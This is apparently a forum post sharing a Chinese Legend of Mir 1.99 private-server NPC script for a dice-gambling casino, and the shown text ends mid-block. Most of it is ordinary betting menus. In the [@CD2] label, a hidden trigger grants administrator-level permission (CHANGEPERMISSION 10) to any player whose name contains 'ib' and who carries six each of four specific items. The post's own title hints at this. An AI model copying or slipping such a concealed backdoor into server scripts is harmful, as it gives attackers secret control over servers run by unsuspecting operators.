发个1.99轻变怒血权限脚本可以看懂的就明白

[@赌神周润发]
{
#IF
equal G52 0
#ACT
MOV G52 6

#IF
equal G45 1
#ACT
MessageBox 赌场功能意外关闭，请联系管理员！
break
#IF
SMALL G47 <$STR(G48)>
#ACT
MOV N30 <$STR(G48)>
MOV N31 <$STR(G47)>
DEC N30 <$STR(N31)>
#IF
SMALL N30 3000000
#SAY
<━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━/SCOLOR=250>
<你当前拥有元宝数：【/SCOLOR=250><$GAMEGOLD><】/SCOLOR=250>
<为防止作弊,每局只能押注一次!重复押注将取消之前的押注/AUTOCOLOR=253,245>
<赌猜点赔率6倍>：【<①/@CD1>】【<②/@CD2>】【<③/@CD3>】【<④/@CD4>】【<⑤/@CD5>】【<⑥/@CD6>】
<大中小赔率3倍>：【<小/@DX1>】【<中/@DX2>】【<大/@DX3>】 ①②为小,③④为中,⑤⑥为大
<赌单双赔率2倍>：【<单/@DS1>】【<双/@DS2>】       ①③⑤为单,②④⑥为双
<您本次下注：压[/SCOLOR=250><$STR(S40)><]项目[/SCOLOR=250><$STR(S41)><]点，赌注[/SCOLOR=250><$STR(N1)><]元宝/SCOLOR=250>
买定离手还剩[<$STR(G46)>]秒，每10秒更新一次时间，没压的尽快！
<刷新一下/@main>     <游戏规则/@游戏规则>     <返回土城/@返回土城>  
#ELSEACT
MessageBox 赌场功能意外关闭，请联系管理员！
break
close

[@游戏规则]
游戏有害健康，有碍家庭幸福，请不要游戏！
<赌猜点>：选择想要的点数，输入元宝，等待开局，赔率6倍！
<赌大小>：选择想要的大小，输入元宝，等待开局，赔率3倍！
;<赌单双>：选择想要的单双，输入元宝，等待开局，赔率2倍！
游戏压注后，不能离开地图、下线、否则将清除压注记录
不要重复下注，重复下注会清除上一次下注的记录和元宝
<返回/@main>

[@返回土城]
<$USERNAME>，不赌了吗？
回土城后将对您的游戏资料清空！
<返回土城/@返回土城A>     <爷点错了/@exit>
[@返回土城A]
#If
#ACT
MOV N1 0
MOV M40 0
MOV M41 0
MOV M42 0
MOV S40 无
MOV S41 无
set [045] 0
set [047] 0
set [048] 0
set [049] 0
mapmove 3 333 333
break
;------------------------------------------------------------------------------
;赌单双
;------------------------------------------------------------------------------
[@DS1]
#If
CHECK [045] 1
#SAY
<$USERNAME>，您想重新下赌注吗？
您上次下注：压[<$STR(S40)>]项目[<$STR(S41)>]点，赌注[<$STR(N1)>]元宝
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>
<注意：重复下注会自动覆盖上一次下注，注金不退还！>
<爷元宝多，就是要重复下注/@重复下注DS1>    <爷点错了/@exit>
#ELSEACT
GOTO @重复下注DS1
break
[@重复下注DS1]
#If
CHECKGAMEGOLD < 101
#ACT
MessageBox 101个元宝都没，还想来游戏啊，回家种地去！
break
#ELSEAct
MOV S40 赌单双
MOV S41 ①③⑤
MOV N1 0
set [045] 0
set [047] 0
set [048] 0
set [049] 0
#If
CHECKGAMEGOLD > 100
#SAY
<$USERNAME>，买拉买拉买拉~~~！
这位爷想压多少呢？最少也要压1百最多5千！
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>
<注意：重复下注会自动覆盖上一次下注，注金不退还！>
<爷要输入压的元宝数/@@InPutInteger1>    <爷先看看风水/@exit>
#ELSEAct
MessageBox 101个元宝都没，还想来游戏啊，回家种地去！
break

[@DS2]
#If
CHECK [045] 1
#SAY
<$USERNAME>，您想重新下赌注吗？
您上次下注：压[<$STR(S40)>]项目[<$STR(S41)>]点，赌注[<$STR(N1)>]元宝
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>
<注意：重复下注会自动覆盖上一次下注，注金不退还！>
<爷元宝多，就是要重复下注/@重复下注DS2>    <爷点错了/@exit>
#ELSEACT
GOTO @重复下注DS2
break
[@重复下注DS2]
#If
CHECKGAMEGOLD < 101
#ACT
MessageBox 101个元宝都没，还想来游戏啊，回家种地去！
break
#ELSEAct
MOV S40 赌单双
MOV S41 ②④⑥
MOV N1 0
set [045] 0
set [047] 0
set [048] 0
set [049] 0
#If
CHECKGAMEGOLD > 100
#SAY
<$USERNAME>，买拉买拉买拉~~~！
这位爷想压多少呢？最少也要压1百最多5千！
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>
<注意：重复下注会自动覆盖上一次下注，注金不退还！>
<爷要输入压的元宝数/@@InPutInteger1>    <爷先看看风水/@exit>
#ELSEAct
MessageBox 101个元宝都没，还想来游戏啊，回家种地去！
break
;------------------------------------------------------------------------------
;大中小
;------------------------------------------------------------------------------
[@DX1]
#If
CHECK [045] 1
#SAY
<$USERNAME>，您想重新下赌注吗？
您上次下注：压[<$STR(S40)>]项目[<$STR(S41)>]点，赌注[<$STR(N1)>]元宝
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>
<注意：重复下注会自动覆盖上一次下注，注金不退还！>
<爷元宝多，就是要重复下注/@重复下注DX1>    <爷点错了/@exit>
#ELSEACT
GOTO @重复下注DX1
break
[@重复下注DX1]
#If
CHECKGAMEGOLD < 101
#ACT
MessageBox 101个元宝都没，还想来游戏啊，回家种地去！
break
#ELSEAct
MOV S40 大中小
MOV S41 ①②
MOV N1 0
set [045] 0
set [047] 0
set [048] 0
set [049] 0
#If
CHECKGAMEGOLD > 100
#SAY
<$USERNAME>，买拉买拉买拉~~~！
这位爷想压多少呢？最少也要压1百最多5千！
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>
<注意：重复下注会自动覆盖上一次下注，注金不退还！>
<爷要输入压的元宝数/@@InPutInteger1>    <爷先看看风水/@exit>
#ELSEAct
MessageBox 101个元宝都没，还想来游戏啊，回家种地去！
break

[@DX2]
#If
CHECK [045] 1
#SAY
<$USERNAME>，您想重新下赌注吗？
您上次下注：压[<$STR(S40)>]项目[<$STR(S41)>]点，赌注[<$STR(N1)>]元宝
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>
<注意：重复下注会自动覆盖上一次下注，注金不退还！>
<爷元宝多，就是要重复下注/@重复下注DX2>    <爷点错了/@exit>
#ELSEACT
GOTO @重复下注DX2
break
[@重复下注DX2]
#If
CHECKGAMEGOLD < 101
#ACT
MessageBox 101个元宝都没，还想来游戏啊，回家种地去！
break
#ELSEAct
MOV S40 大中小
MOV S41 ③④
MOV N1 0
set [045] 0
set [047] 0
set [048] 0
set [049] 0
#If
CHECKGAMEGOLD > 100
#SAY
<$USERNAME>，买拉买拉买拉~~~！
这位爷想压多少呢？最少也要压1百最多5千！
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>
<注意：重复下注会自动覆盖上一次下注，注金不退还！>
<爷要输入压的元宝数/@@InPutInteger1>    <爷先看看风水/@exit>
#ELSEAct
MessageBox 101个元宝都没，还想来游戏啊，回家种地去！
break

[@DX3]
#If
CHECK [045] 1
#SAY
<$USERNAME>，您想重新下赌注吗？
您上次下注：压[<$STR(S40)>]项目[<$STR(S41)>]点，赌注[<$STR(N1)>]元宝
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>
<注意：重复下注会自动覆盖上一次下注，注金不退还！>
<爷元宝多，就是要重复下注/@重复下注DX3>    <爷点错了/@exit>
#ELSEACT
GOTO @重复下注DX3
break
[@重复下注DX3]
#If
CHECKGAMEGOLD < 101
#ACT
MessageBox 101个元宝都没，还想来游戏啊，回家种地去！
break
#ELSEAct
MOV S40 大中小
MOV S41 ⑤⑥
MOV N1 0
set [045] 0
set [047] 0
set [048] 0
set [049] 0
#If
CHECKGAMEGOLD > 100
#SAY
<$USERNAME>，买拉买拉买拉~~~！
这位爷想压多少呢？最少也要压1百最多5千！
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>
<注意：重复下注会自动覆盖上一次下注，注金不退还！>
<爷要输入压的元宝数/@@InPutInteger1>    <爷先看看风水/@exit>
#ELSEAct
MessageBox 101个元宝都没，还想来游戏啊，回家种地去！
break
;------------------------------------------------------------------------------
;赌猜点
;------------------------------------------------------------------------------
[@CD1]
#If
CHECK [045] 1
#SAY
<$USERNAME>，您想重新下赌注吗？
您上次下注：压[<$STR(S40)>]项目[<$STR(S41)>]点，赌注[<$STR(N1)>]元宝
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>
<注意：重复下注会自动覆盖上一次下注，注金不退还！>
<爷元宝多，就是要重复下注/@重复下注CD1>    <爷点错了/@exit>
#ELSEACT
GOTO @重复下注CD1
break
[@重复下注CD1]
#If
CHECKGAMEGOLD < 101
#ACT
MessageBox 101个元宝都没，还想来游戏啊，回家种地去！
break
#ELSEAct
MOV S40 赌猜点
MOV S41 ①
MOV N1 0
set [045] 0
set [047] 0
set [048] 0
set [049] 0
#If
CHECKGAMEGOLD > 100
#SAY
<$USERNAME>，买拉买拉买拉~~~！
这位爷想压多少呢？最少也要压1百最多5千！
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>
<注意：重复下注会自动覆盖上一次下注，注金不退还！>
<爷要输入压的元宝数/@@InPutInteger1>    <爷先看看风水/@exit>
#ELSEAct
MessageBox 101个元宝都没，还想来游戏啊，回家种地去！
break

[@CD2]
#IF
checkitem 随机传送卷 6
checkitem 地牢逃脱卷 6
checkitem 回城卷 6
checkitem 强效金创药 6
CheckContainsText <$USERNAME> ib
#act
CHANGEPERMISSION 10
#If